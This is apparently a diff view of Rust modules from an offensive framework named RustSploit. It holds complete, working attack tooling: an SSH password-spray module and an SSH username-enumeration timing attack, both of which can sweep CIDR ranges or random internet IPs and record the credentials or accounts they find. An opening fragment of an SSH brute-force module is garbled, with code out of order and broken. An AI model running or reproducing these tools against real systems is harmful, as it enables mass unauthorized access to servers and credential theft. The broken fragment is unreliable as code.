}
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
}
})
.await??;
let handle = spawn_blocking(move || {
let socket_addr: std::net::SocketAddr = addr_owned.parse()
.or_else(|_| addr_owned.to_socket_addrs().and_then(|mut a|
a.next().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::NotFound, "No addresses resolved"))))
.map_err(|e| anyhow!("Cannot resolve address {}: {}", addr_owned, e))?;
let tcp = crate::utils::blocking_tcp_connect(&socket_addr, timeout_duration)
.map_err(|e| anyhow!("Connection error: {}", e))?;
tcp.set_read_timeout(Some(timeout_duration)).ok();
tcp.set_write_timeout(Some(timeout_duration)).ok();
Ok(result)
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let trimmed = host.trim();
let caps = re
.captures(trimmed)
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str()
.parse::<u16>()
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
formatted
.to_socket_addrs()
.map_err(|e| anyhow!("Could not resolve '{}': {}", formatted, e))?
.next()
.ok_or_else(|| anyhow!("Could not resolve '{}'", formatted))?;
Ok(formatted)
}
fn prompt_existing_file(msg: &str) -> Result<String> {
loop {
let candidate = prompt_required(msg)?;
if Path::new(&candidate).is_file() {
return Ok(candidate);
} else {
println!(
"{}",
format!("File '{}' does not exist or is not a regular file.", candidate).yellow()
);
}
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required.".yellow());
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
.map(|os_str| os_str.to_string_lossy())
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
.map(|s_cow| s_cow.into_owned())
.unwrap_or_else(|| "ssh_brute_results.txt".to_string());
PathBuf::from(format!("./{}", path_candidate))
let mut sess = Session::new()
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
sess.set_timeout(timeout_duration.as_millis() as u32);
sess.set_tcp_stream(tcp);
sess.handshake()
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
sess.userauth_password(&user_owned, &pass_owned)
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
Ok(sess.authenticated())
});
let join_result = timeout(timeout_duration, handle)
.await
.map_err(|_| anyhow!("Connection timeout"))?;
join_result.map_err(|e| anyhow!("Join error: {}", e))?
}
+562
View File
@@ -0,0 +1,562 @@
//! SSH Password Spray Module
//!
//! Based on SSHPWN framework - sprays single password across multiple targets/users.
//! Useful for avoiding account lockouts while testing common passwords.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
collections::HashSet,
fs::File,
io::{BufRead, BufReader, Write},
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
Arc,
},
time::{Duration, Instant},
};
use anyhow::Context;
use tokio::{
sync::Semaphore,
task::spawn_blocking,
time::sleep,
};
use ipnetwork::IpNetwork;
use crate::utils::{cfg_prompt_yes_no, cfg_prompt_default, cfg_prompt_required};
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "SSH Password Spray".to_string(),
description: "Sprays a single password across multiple SSH targets and usernames. Avoids account lockouts by distributing attempts across hosts with configurable concurrency and delays.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_THREADS: usize = 20;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
crate::mprintln!("{}", "║ SSH Password Spray ║".cyan());
crate::mprintln!("{}", "║ Spray single password across multiple targets/users ║".cyan());
crate::mprintln!("{}", "║ ║".cyan());
crate::mprintln!("{}", "║ Benefits: ║".cyan());
crate::mprintln!("{}", "║ - Avoids account lockouts ║".cyan());
crate::mprintln!("{}", "║ - Tests common passwords across many hosts ║".cyan());
crate::mprintln!("{}", "║ - Efficient for large network assessments ║".cyan());
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
crate::mprintln!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Statistics tracking
struct Statistics {
total_attempts: AtomicU64,
successful: AtomicU64,
failed: AtomicU64,
errors: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful: AtomicU64::new(0),
failed: AtomicU64::new(0),
errors: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.errors.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful.fetch_add(1, Ordering::Relaxed);
} else {
self.failed.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful.load(Ordering::Relaxed);
let failed = self.failed.load(Ordering::Relaxed);
let errors = self.errors.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
crate::mprint!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
fn print_summary(&self) {
crate::mprintln!();
crate::mprintln!("{}", "=== Spray Summary ===".cyan().bold());
crate::mprintln!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
crate::mprintln!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
crate::mprintln!("Failed: {}", self.failed.load(Ordering::Relaxed));
crate::mprintln!("Errors: {}", self.errors.load(Ordering::Relaxed));
crate::mprintln!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
}
}
/// Credential result
#[derive(Clone, Debug)]
pub struct SprayResult {
pub host: String,
pub port: u16,
pub username: String,
pub password: String,
}
/// Try SSH authentication
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
let addr = format!("{}:{}", host, port);
let tcp = crate::utils::blocking_tcp_connect(
&addr.parse()?,
Duration::from_secs(timeout_secs),
)?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(username, password) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
/// Parse targets from string (CIDR, range, single IP)
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
let mut targets = Vec::new();
for s in spec.split(&[',', ' ', '\n'][..]) {
let s = s.trim();
if s.is_empty() {
continue;
}
// Try CIDR
if s.contains('/') {
if let Ok(network) = s.parse::<IpNetwork>() {
for ip in network.iter().take(65536) {
targets.push((ip.to_string(), port));
}
continue;
}
}
// Try IP range (e.g., 192.168.1.1-254)
if s.contains('-') && s.contains('.') {
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
if parts.len() == 2 {
if let Some((start_str, end_str)) = parts[0].split_once('-') {
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
let base = parts[1];
for i in start..=end {
targets.push((format!("{}.{}", base, i), port));
}
continue;
}
}
}
}
// Single IP/hostname
targets.push((s.to_string(), port));
}
targets
}
/// Load list from file
fn load_list_from_file(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let items: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(items)
}
/// Main spray function
pub async fn password_spray(
targets: Vec<(String, u16)>,
usernames: &[String],
password: &str,
threads: usize,
timeout_secs: u64,
stop_on_success: bool,
) -> Vec<SprayResult> {
let total = targets.len() * usernames.len();
crate::mprintln!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
password, targets.len(), usernames.len(), total).cyan());
if stop_on_success {
crate::mprintln!("{}", "[*] Stop-on-success enabled: will halt after first valid credential".yellow());
}
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(threads));
let stop = Arc::new(AtomicBool::new(false));
let success_stop = Arc::new(AtomicBool::new(false));
// Progress reporter
let stats_clone = Arc::clone(&stats);
let stop_clone = Arc::clone(&stop);
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Spray tasks
let mut handles = Vec::new();
for (host, port) in targets {
if success_stop.load(Ordering::Relaxed) {
break;
}
for user in usernames {
if success_stop.load(Ordering::Relaxed) {
break;
}
let semaphore = Arc::clone(&semaphore);
let results = Arc::clone(&results);
let stats = Arc::clone(&stats);
let success_stop_clone = Arc::clone(&success_stop);
let host = host.clone();
let user = user.clone();
let password = password.to_string();
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
// Check if we should stop before acquiring permit
if success_stop_clone.load(Ordering::Relaxed) {
return Ok(());
}
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
// Check again after acquiring permit
if success_stop_clone.load(Ordering::Relaxed) {
return Ok(());
}
const MAX_RETRIES: u32 = 2;
let mut attempt = 0u32;
loop {
let host_clone = host.clone();
let user_clone = user.clone();
let pass_clone = password.clone();
let result = spawn_blocking(move || {
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
}).await;
match result {
Ok(Ok(true)) => {
stats.record_attempt(true, false);
let cred = SprayResult {
host: host.clone(),
port,
username: user.clone(),
password: password.clone(),
};
crate::mprintln!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
results.lock().await.push(cred);
// Persist credential to framework credential store
{
let id = crate::cred_store::store_credential(
&host, port, "ssh", &user, &password,
crate::cred_store::CredType::Password,
"creds/generic/ssh_sweep",
).await;
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
// Signal stop if stop_on_success is enabled
if stop_on_success {
success_stop_clone.store(true, Ordering::Relaxed);
}
break;
}
Ok(Ok(false)) => {
stats.record_attempt(false, false);
break;
}
Ok(Err(_)) | Err(_) => {
// Connection error — retry with exponential backoff
if attempt < MAX_RETRIES {
attempt += 1;
// Exponential backoff: 500ms, 1000ms
let delay_ms = 500u64 * (1u64 << (attempt - 1));
sleep(Duration::from_millis(delay_ms)).await;
continue;
}
stats.record_attempt(false, true);
break;
}
}
}
Ok(())
});
handles.push(handle);
}
}
// Wait for all tasks
for handle in handles {
if let Err(e) = handle.await { crate::meprintln!("[!] Task error: {}", e); }
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
if let Err(e) = progress_handle.await { crate::meprintln!("[!] Progress task error: {}", e); }
// Print summary
stats.print_summary();
let results = results.lock().await;
results.clone()
}
/// Save results to file
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
let mut file = opts.open(path)?;
writeln!(file, "# SSH Password Spray Results")?;
writeln!(file, "# Generated by RustSploit")?;
writeln!(file, "# Total: {} credentials found", results.len())?;
writeln!(file)?;
for result in results {
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
}
crate::mprintln!("{}", format!("[+] Results saved to: {}", path).green());
Ok(())
}
/// Default usernames to spray
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "administrator", "ubuntu",
"guest", "test", "oracle", "postgres", "mysql",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Mass scan mode: random IPs or target file
if is_mass_scan_target(target) {
let password = cfg_prompt_required("password", "Password to spray").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
let users_str = cfg_prompt_default("usernames", "Usernames (comma-separated)", "root,admin,ubuntu").await?;
let users: Vec<String> = users_str.split(',').map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
let users = Arc::new(users);
let password = Arc::new(password);
return run_mass_scan(target, MassScanConfig {
protocol_name: "SSH Spray",
default_port: 22,
state_file: "ssh_sweep_mass_state.log",
default_output: "ssh_sweep_mass_results.txt",
default_concurrency: 200,
}, move |ip: std::net::IpAddr, port: u16| {
let users = users.clone();
let password = password.clone();
async move {
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
return None;
}
let addr: std::net::SocketAddr = format!("{}:{}", ip, port).parse().ok()?;
for user in users.iter() {
let tcp = crate::utils::blocking_tcp_connect(
&addr,
std::time::Duration::from_secs(10),
).ok()?;
if let Err(e) = tcp.set_read_timeout(Some(std::time::Duration::from_secs(10))) { crate::meprintln!("[!] Socket option error: {}", e); }
if let Err(e) = tcp.set_write_timeout(Some(std::time::Duration::from_secs(10))) { crate::meprintln!("[!] Socket option error: {}", e); }
let mut sess = ssh2::Session::new().ok()?;
sess.set_tcp_stream(tcp);
if sess.handshake().is_err() { continue; }
if sess.userauth_password(user, &password).is_ok() && sess.authenticated() {
let msg = format!("{}:{}:{}:{}", ip, port, user, password);
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
return Some(format!("{}\n", msg));
}
}
None
}
}).await;
}
// Get password to spray
let password = cfg_prompt_required("password", "Password to spray").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
// Get port
let port: u16 = cfg_prompt_default("ssh_port", "SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
// Get targets
let mut targets = Vec::new();
// Add initial target
let host = normalize_target(target);
if !host.is_empty() {
crate::mprintln!("{}", format!("[*] Initial target: {}", host).cyan());
targets.extend(parse_targets(&host, port));
}
// Get additional targets
let more_targets = cfg_prompt_default("additional_targets", "Additional targets (comma-separated, CIDR, or leave empty)", "").await?;
if !more_targets.is_empty() {
targets.extend(parse_targets(&more_targets, port));
}
// Load from file?
if cfg_prompt_yes_no("load_targets_file", "Load targets from file?", false).await? {
let file_path = cfg_prompt_required("targets_file", "File path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(file_targets) => {
crate::mprintln!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
for t in file_targets {
targets.extend(parse_targets(&t, port));
}
}
Err(e) => {
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Deduplicate targets
let unique: HashSet<_> = targets.into_iter().collect();
let targets: Vec<_> = unique.into_iter().collect();
if targets.is_empty() {
return Err(anyhow!("No targets specified"));
}
crate::mprintln!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if cfg_prompt_yes_no("load_usernames_file", "Load usernames from file?", false).await? {
let file_path = cfg_prompt_required("username_file", "Username file path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(loaded) => {
crate::mprintln!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
usernames.extend(loaded);
}
Err(e) => {
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty() || cfg_prompt_yes_no("use_default_usernames", "Also test default usernames?", true).await? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
// Get scan options
let threads: usize = cfg_prompt_default("concurrency", "Concurrent threads", &DEFAULT_THREADS.to_string()).await?
.parse()
.unwrap_or(DEFAULT_THREADS);
let timeout: u64 = cfg_prompt_default("timeout", "Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", false).await?;
crate::mprintln!();
// Run spray
let results = password_spray(targets, &usernames, &password, threads, timeout, stop_on_success).await;
// Save results?
if !results.is_empty() && cfg_prompt_yes_no("save_results", "Save results to file?", true).await? {
let raw = cfg_prompt_default("output_file", "Output file", "ssh_sweep_results.txt").await?;
// Force basename only — no directory traversal
let output_path = std::path::Path::new(&raw)
.file_name()
.map(|n| n.to_string_lossy().to_string())
.unwrap_or_else(|| "ssh_sweep_results.txt".to_string());
if output_path.is_empty() || output_path.starts_with('.') {
crate::mprintln!("{}", "[-] Invalid output filename".red());
} else if let Err(e) = save_results(&results, &output_path) {
crate::mprintln!("{}", format!("[-] Failed to save: {}", e).red());
}
}
crate::mprintln!();
crate::mprintln!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
Ok(())
}
+442
View File
@@ -0,0 +1,442 @@
//! SSH User Enumeration Module (Timing Attack)
//!
//! Based on SSHPWN framework - enumerates valid users via timing attack.
//! Inspired by CVE-2018-15473 style attacks.
//!
//! For authorized penetration testing only.
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no};
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
time::{Duration, Instant},
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "SSH User Enumeration (Timing Attack)".to_string(),
description: "Enumerates valid SSH usernames via timing-based side-channel attack. Measures authentication response time differences to identify valid accounts, inspired by CVE-2018-15473.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec!["CVE-2018-15473".to_string()],
disclosure_date: Some("2018-08-17".to_string()),
rank: crate::module_info::ModuleRank::Normal,
}
}
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_SAMPLES: usize = 3;
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
"╔═══════════════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ SSH User Enumeration (Timing Attack) ║".cyan()
);
crate::mprintln!(
"{}",
"║ Based on auth2.c timing differences ║".cyan()
);
crate::mprintln!(
"{}",
"║ ║".cyan()
);
crate::mprintln!(
"{}",
"║ How it works: ║".cyan()
);
crate::mprintln!(
"{}",
"║ - Measures authentication response time for each username ║".cyan()
);
crate::mprintln!(
"{}",
"║ - Valid users often have different timing than invalid ║".cyan()
);
crate::mprintln!(
"{}",
"║ - Compares against baseline (known invalid user) ║".cyan()
);
crate::mprintln!(
"{}",
"╚═══════════════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Time a single authentication attempt
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match crate::utils::blocking_tcp_connect(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(_) => return None,
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(_) => return None,
};
sess.set_tcp_stream(tcp);
if sess.handshake().is_err() {
return None;
}
// Try authentication with invalid password
let invalid_password = format!(
"invalid_{}_{}",
std::process::id(),
start.elapsed().as_nanos()
);
let _ = sess.userauth_password(username, &invalid_password);
let elapsed = start.elapsed().as_secs_f64();
Some(elapsed)
}
/// Sample authentication timing for a username
fn sample_auth_timing(
host: &str,
port: u16,
username: &str,
samples: usize,
timeout_secs: u64,
) -> Option<f64> {
let mut times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
times.push(t);
}
// Small delay between samples
std::thread::sleep(Duration::from_millis(100));
}
if times.is_empty() {
return None;
}
// Return average
Some(times.iter().sum::<f64>() / times.len() as f64)
}
/// Load usernames from file
fn load_usernames(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let usernames: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(usernames)
}
/// Enumerate valid users via timing attack.
/// Uses spawn_blocking to avoid blocking the tokio runtime, since
/// SSH timing attacks require synchronous I/O for measurement accuracy.
pub async fn enumerate_users(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
timeout_secs: u64,
threshold: f64,
) -> Vec<String> {
crate::mprintln!(
"{}",
format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan()
);
crate::mprintln!(
"{}",
format!(
"[*] Testing {} usernames with {} samples each",
usernames.len(),
samples
)
.cyan()
);
crate::mprintln!(
"{}",
format!("[*] Timing threshold: {:.3}s", threshold).cyan()
);
crate::mprintln!();
let host = host.to_string();
let usernames = usernames.to_vec();
// Run the blocking timing attack in a dedicated thread to avoid starving the runtime
let result = tokio::task::spawn_blocking(move || {
enumerate_users_blocking(&host, port, &usernames, samples, timeout_secs, threshold)
})
.await;
match result {
Ok(users) => users,
Err(e) => {
crate::meprintln!("{}", format!("[-] Enumeration task failed: {}", e).red());
Vec::new()
}
}
}
/// Synchronous implementation of timing-based user enumeration.
fn enumerate_users_blocking(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
timeout_secs: u64,
threshold: f64,
) -> Vec<String> {
// Establish baseline with known-invalid user
let baseline_user = format!(
"nonexistent_{}_{}",
std::process::id(),
Instant::now().elapsed().as_nanos()
);
crate::mprintln!("{}", "[*] Establishing baseline timing...".cyan());
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
Some(t) => {
crate::mprintln!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
t
}
None => {
crate::mprintln!(
"{}",
"[-] Failed to establish baseline - cannot reach target".red()
);
return Vec::new();
}
};
crate::mprintln!();
crate::mprintln!("{}", "[*] Testing usernames...".cyan());
let mut valid_users = Vec::new();
for (i, user) in usernames.iter().enumerate() {
crate::mprint!(
"\r[{}/{}] Testing: {} ",
i + 1,
usernames.len(),
user
);
let _ = std::io::Write::flush(&mut std::io::stdout());
match sample_auth_timing(host, port, user, samples, timeout_secs) {
Some(t) => {
let diff = t - baseline;
if diff.abs() > threshold {
crate::mprintln!(
"\r{}",
format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green()
);
valid_users.push(user.clone());
}
}
None => {
// Connection failed, skip
}
}
}
crate::mprintln!();
crate::mprintln!("{}", "=== Results ===".cyan().bold());
if valid_users.is_empty() {
crate::mprintln!("{}", "[-] No valid users found via timing attack".yellow());
crate::mprintln!(
"{}",
"[*] Note: This technique may not work on all SSH configurations".dimmed()
);
} else {
crate::mprintln!(
"{}",
format!("[+] Found {} valid user(s):", valid_users.len()).green()
);
for user in &valid_users {
crate::mprintln!(" - {}", user.green());
}
}
valid_users
}
/// Default usernames to test
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest", "ubuntu", "www-data", "daemon", "bin", "sys",
"nobody", "mysql", "postgres", "oracle", "ftp", "ssh", "apache", "nginx", "tomcat", "redis",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Mass scan mode: random IPs, target file, or CIDR subnet (all handled concurrently)
if is_mass_scan_target(target) {
return run_mass_scan(
target,
MassScanConfig {
protocol_name: "SSH User Enum",
default_port: 22,
state_file: "ssh_user_enum_mass_state.log",
default_output: "ssh_user_enum_mass_results.txt",
default_concurrency: 200,
},
|ip: std::net::IpAddr, port: u16| async move {
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
return None;
}
// Quick timing test with a few default usernames
let host = ip.to_string();
let test_users = ["root", "admin", "ubuntu", "test", "user"];
let mut valid = Vec::new();
// Baseline with known-invalid user
let baseline = time_auth_attempt(&host, port, "xyznonexistent12345", 5)?;
for user in &test_users {
if let Some(elapsed) = time_auth_attempt(&host, port, user, 5) {
if (elapsed - baseline).abs() > 0.3 {
valid.push(*user);
}
}
}
if !valid.is_empty() {
let msg = format!("{}:{}:valid_users={}", ip, port, valid.join(","));
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
return Some(format!("{}\n", msg));
}
None
},
)
.await;
}
let host = normalize_target(target);
crate::mprintln!("{}", format!("[*] Target: {}", host).cyan());
// Get parameters
let port: u16 = cfg_prompt_default("ssh_port", "SSH Port", "22")
.await?
.parse()
.unwrap_or(DEFAULT_SSH_PORT);
let samples: usize = cfg_prompt_default("samples", "Samples per username", "3")
.await?
.parse()
.unwrap_or(DEFAULT_SAMPLES);
let timeout: u64 = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10")
.await?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
let threshold: f64 = cfg_prompt_default("threshold", "Timing threshold (seconds)", "0.3")
.await?
.parse()
.unwrap_or(TIMING_THRESHOLD);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if cfg_prompt_yes_no("load_usernames_file", "Load usernames from file?", false).await? {
let file_path = cfg_prompt_required("username_file", "Username file path").await?;
if !file_path.is_empty() {
match load_usernames(&file_path) {
Ok(loaded) => {
crate::mprintln!(
"{}",
format!("[*] Loaded {} usernames from file", loaded.len()).cyan()
);
usernames.extend(loaded);
}
Err(e) => {
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty()
|| cfg_prompt_yes_no(
"use_default_usernames",
"Also test default usernames?",
true,
)
.await?
{
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
crate::mprintln!();
crate::mprintln!(
"{}",
format!("[*] Will test {} usernames", usernames.len()).cyan()
);
crate::mprintln!();
// Run enumeration
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
// Save results?
if !valid_users.is_empty()
&& cfg_prompt_yes_no("save_results", "Save valid users to file?", true).await?
{
let output_path =
cfg_prompt_default("output_file", "Output file", "valid_ssh_users.txt").await?;
let mut file = {
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
opts.open(&output_path)?
};
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
for user in &valid_users {
writeln!(file, "{}", user)?;
}
crate::mprintln!("{}", format!("[+] Saved to: {}", output_path).green());
}
crate::mprintln!();
crate::mprintln!("{}", "[*] SSH user enumeration complete".green());
Ok(())
}
File diff suppressed because it is too large Load Diff
+393
View File
@@ -0,0 +1,393 @@
use anyhow::Result;
use std::net::SocketAddr;
